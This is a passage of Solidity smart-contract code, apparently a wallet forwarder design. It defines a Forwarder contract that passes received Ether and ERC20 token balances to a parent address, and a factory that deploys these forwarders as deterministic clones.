'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.